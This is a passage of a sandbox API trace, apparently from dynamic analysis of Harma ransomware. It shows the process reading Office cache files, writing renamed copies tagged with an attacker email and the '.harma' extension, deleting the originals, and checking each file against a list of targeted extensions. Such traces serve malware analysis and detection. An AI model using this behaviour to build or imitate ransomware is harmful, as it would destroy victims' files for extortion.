lpNumberOfBytesWritten=0x2b8fc9c*=0x1700, lpOverlapped=0x0) returned 1 [0040.154] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.154] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.154] SetEndOfFile (hFile=0x160) returned 1 [0040.154] CloseHandle (hObject=0x160) returned 1 [0040.155] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.155] SetEndOfFile (hFile=0x180) returned 1 [0040.156] CloseHandle (hObject=0x180) returned 1 [0040.156] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.156] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.156] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.156] lstrlenW (lpString=".doc") returned 4 [0040.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.156] lstrlenW (lpString=".docx") returned 5 [0040.156] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.156] lstrlenW (lpString=".pdf") returned 4 [0040.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.156] lstrlenW (lpString=".xls") returned 4 [0040.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.156] lstrlenW (lpString=".xlsx") returned 5 [0040.156] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.156] lstrlenW (lpString=".ppt") returned 4 [0040.156] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString=".zip") returned 4 [0040.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.157] lstrlenW (lpString=".rar") returned 4 [0040.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString=".bz2") returned 4 [0040.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString=".7z") returned 3 [0040.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString=".dbf") returned 4 [0040.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString=".1cd") returned 4 [0040.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString=".jpg") returned 4 [0040.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.157] lstrlenW (lpString=".doc") returned 4 [0040.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString=".docx") returned 5 [0040.157] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.157] lstrlenW (lpString=".pdf") returned 4 [0040.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString=".xls") returned 4 [0040.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.157] lstrlenW (lpString=".xlsx") returned 5 [0040.157] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.157] lstrlenW (lpString=".ppt") returned 4 [0040.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.158] lstrlenW (lpString=".zip") returned 4 [0040.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.158] lstrlenW (lpString=".rar") returned 4 [0040.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.158] lstrlenW (lpString=".bz2") returned 4 [0040.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.158] lstrlenW (lpString=".7z") returned 3 [0040.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.158] lstrlenW (lpString=".dbf") returned 4 [0040.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.158] lstrlenW (lpString=".1cd") returned 4 [0040.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.158] lstrlenW (lpString=".jpg") returned 4 [0040.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.158] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.158] lstrlenW (lpString="Office32MUI.xml") returned 15 [0040.158] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.159] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1383) returned 1 [0040.159] CloseHandle (hObject=0x180) returned 1 [0040.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0040.159] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.159] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.160] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.160] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.160] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.160] GetLastError () returned 0x0 [0040.160] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x567, lpOverlapped=0x0) returned 1 [0040.162] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x570, lpOverlapped=0x0) returned 1 [0040.163] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.163] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.163] SetEndOfFile (hFile=0x160) returned 1 [0040.163] CloseHandle (hObject=0x160) returned 1 [0040.163] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.164] SetEndOfFile (hFile=0x180) returned 1 [0040.164] CloseHandle (hObject=0x180) returned 1 [0040.164] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.165] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0040.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.165] lstrlenW (lpString=".doc") returned 4 [0040.165] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.165] lstrlenW (lpString=".docx") returned 5 [0040.165] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.165] lstrlenW (lpString=".pdf") returned 4 [0040.165] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.165] lstrlenW (lpString=".xls") returned 4 [0040.165] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.165] lstrlenW (lpString=".xlsx") returned 5 [0040.165] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.165] lstrlenW (lpString=".ppt") returned 4 [0040.165] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString=".zip") returned 4 [0040.166] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.166] lstrlenW (lpString=".rar") returned 4 [0040.166] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString=".bz2") returned 4 [0040.166] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString=".7z") returned 3 [0040.166] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString=".dbf") returned 4 [0040.166] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString=".1cd") returned 4 [0040.166] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString=".jpg") returned 4 [0040.166] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.166] lstrlenW (lpString=".doc") returned 4 [0040.166] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString=".docx") returned 5 [0040.166] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.166] lstrlenW (lpString=".pdf") returned 4 [0040.166] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString=".xls") returned 4 [0040.166] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.166] lstrlenW (lpString=".xlsx") returned 5 [0040.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.166] lstrlenW (lpString=".ppt") returned 4 [0040.167] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.167] lstrlenW (lpString=".zip") returned 4 [0040.167] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.167] lstrlenW (lpString=".rar") returned 4 [0040.167] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.167] lstrlenW (lpString=".bz2") returned 4 [0040.167] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.167] lstrlenW (lpString=".7z") returned 3 [0040.167] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.167] lstrlenW (lpString=".dbf") returned 4 [0040.167] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.167] lstrlenW (lpString=".1cd") returned 4 [0040.167] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0040.167] lstrlenW (lpString=".jpg") returned 4 [0040.167] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.167] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.167] lstrlenW (lpString="Setup.xml") returned 9 [0040.167] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.168] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2362) returned 1 [0040.168] CloseHandle (hObject=0x180) returned 1 [0040.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.168] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.168] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.168] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.168] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.168] GetLastError () returned 0x0 [0040.168] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x93a, lpOverlapped=0x0) returned 1 [0040.288] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x940, lpOverlapped=0x0) returned 1 [0040.289] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.289] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.289] SetEndOfFile (hFile=0x160) returned 1 [0040.289] CloseHandle (hObject=0x160) returned 1 [0040.304] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.304] SetEndOfFile (hFile=0x180) returned 1 [0040.322] CloseHandle (hObject=0x180) returned 1 [0040.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.322] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0040.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.323] lstrlenW (lpString=".doc") returned 4 [0040.323] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.323] lstrlenW (lpString=".docx") returned 5 [0040.323] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.323] lstrlenW (lpString=".pdf") returned 4 [0040.323] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.323] lstrlenW (lpString=".xls") returned 4 [0040.323] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.323] lstrlenW (lpString=".xlsx") returned 5 [0040.323] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.323] lstrlenW (lpString=".ppt") returned 4 [0040.323] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.323] lstrlenW (lpString=".zip") returned 4 [0040.324] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.324] lstrlenW (lpString=".rar") returned 4 [0040.324] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString=".bz2") returned 4 [0040.324] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString=".7z") returned 3 [0040.324] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.324] lstrlenW (lpString=".dbf") returned 4 [0040.324] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.324] lstrlenW (lpString=".1cd") returned 4 [0040.324] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.324] lstrlenW (lpString=".jpg") returned 4 [0040.324] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.324] lstrlenW (lpString=".doc") returned 4 [0040.324] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString=".docx") returned 5 [0040.324] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0040.324] lstrlenW (lpString=".pdf") returned 4 [0040.324] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.324] lstrlenW (lpString=".xls") returned 4 [0040.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString=".xlsx") returned 5 [0040.325] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0040.325] lstrlenW (lpString=".ppt") returned 4 [0040.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.325] lstrlenW (lpString=".zip") returned 4 [0040.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.325] lstrlenW (lpString=".rar") returned 4 [0040.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString=".bz2") returned 4 [0040.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString=".7z") returned 3 [0040.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.325] lstrlenW (lpString=".dbf") returned 4 [0040.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.325] lstrlenW (lpString=".1cd") returned 4 [0040.325] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0040.325] lstrlenW (lpString=".jpg") returned 4 [0040.325] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.326] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.326] lstrlenW (lpString="GrooveMUI.xml") returned 13 [0040.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.471] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=913) returned 1 [0040.471] CloseHandle (hObject=0x168) returned 1 [0040.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml")) returned 0x2020 [0040.471] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.471] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.471] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0040.502] GetLastError () returned 0x0 [0040.502] ReadFile (in: hFile=0x168, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x391, lpOverlapped=0x0) returned 1 [0040.569] WriteFile (in: hFile=0x194, 